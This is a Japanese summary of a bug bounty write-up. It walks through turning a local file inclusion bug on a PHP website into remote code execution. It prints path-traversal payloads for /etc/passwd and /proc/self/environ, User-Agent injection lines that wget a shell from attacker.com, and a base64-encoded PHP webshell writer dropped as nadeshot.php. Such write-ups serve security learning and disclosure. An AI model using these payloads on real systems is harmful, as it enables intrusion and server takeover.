Hello there, ('ω')ノ
20000 人以上のユーザがいる Web サイトで LFI を RCE に活用を。
脆弱性:
LFI
RCE
記事:
https://infosecwriteups.com/leveraging-lfi-to-rce-in-a-website-with-20000-users-129050f9982b
LFI 脆弱性の発見:
Web サイトを参照して、興味深いエンドポイントを見つけられるかどうかを。
確認するのに [お問い合わせ] をクリックすると。
興味深いエンドポイントにつながって。
https://www.website.com/index.php?pg=contact.php
pg パラメータのファジングを開始したところ、次のペイロードを使用して。
LFI が可能であることがわかって。
https://www.website.com/index.php?pg=../../../../etc/passwd
これまでのところ、LFI はうまくいっていますが、影響を増やすことに。
LFIからRCEへ:
LFI の脆弱性を RCE にエスカレートするために考えられるすべての既知の手法を。
使用したところ、/proc/self/environ を読み取ることができることがわかったので。
次のコードを入力すると情報が漏洩して。
https://www.website.com/index.php?pg=../../../../proc/self/environ
出力を分析すると、/proc/self/environ の下にあるファイルに。
HTTP_USER_AGENT などのいくつかの環境変数が含まれていることがわかって。
Burp Suite を起動して、User-Agent の値を変更してリクエストを送信して。
User-Agent に次の値を追加してみると。
system() を試しましたが、RCE はなし:
User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>
exec() を試しましたが、RCE はなし:
User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>
phpinit() を試しましたが、失敗:
User-Agent: <?php phpinfo(); ?>
サーバ内にファイルを書き込めるのを忘れていたので。
以下のペイロードを試すことに。
User-Agent HTTP ヘッダで使用するペイロードを作成することに。
User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>
使用ペイロードの説明:
Webshell は base64 でエンコードされていて、変数a に格納されて。
元の webshell php コードは 下記のもので。
https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php
$a = base64_decode('webshell_base64_encoded_code_here');
その後、nadeshot.php という名前のファイルを書き込むようにサーバに指示して。
$file = fopen('nadeshot.php','w');
次に、サーバーはコード (base64 でデコード) を nadeshot.php に書き込みます。
echo fwrite($file,$a);
次に、サーバはファイルを保存します。
fclose($file);
それでは、このペイロード全体を Burp Suite で実行してみて、何が起こるかを。
レスポンス 200 (OK) を取得して。
https://website.com/nadeshot.php に移動して。
正常に実行されたかどうかを確認することに。
下記が、アップロードされた webshellで。
webshellは、 /nadeshot.php にアップロードされて。
それでは、単純な .txt ファイルを作成して動作するかどうかを確認すると。
nadeshot.txt という名前のテキスト ファイルを作成し、[Write] をクリックして。
https://website.com/nadeshot.txt にアクセスすると。
テキスト ファイルが表示されて。
LFI から RCE への影響力を高めることに成功して。
Best regards, (^^ゞ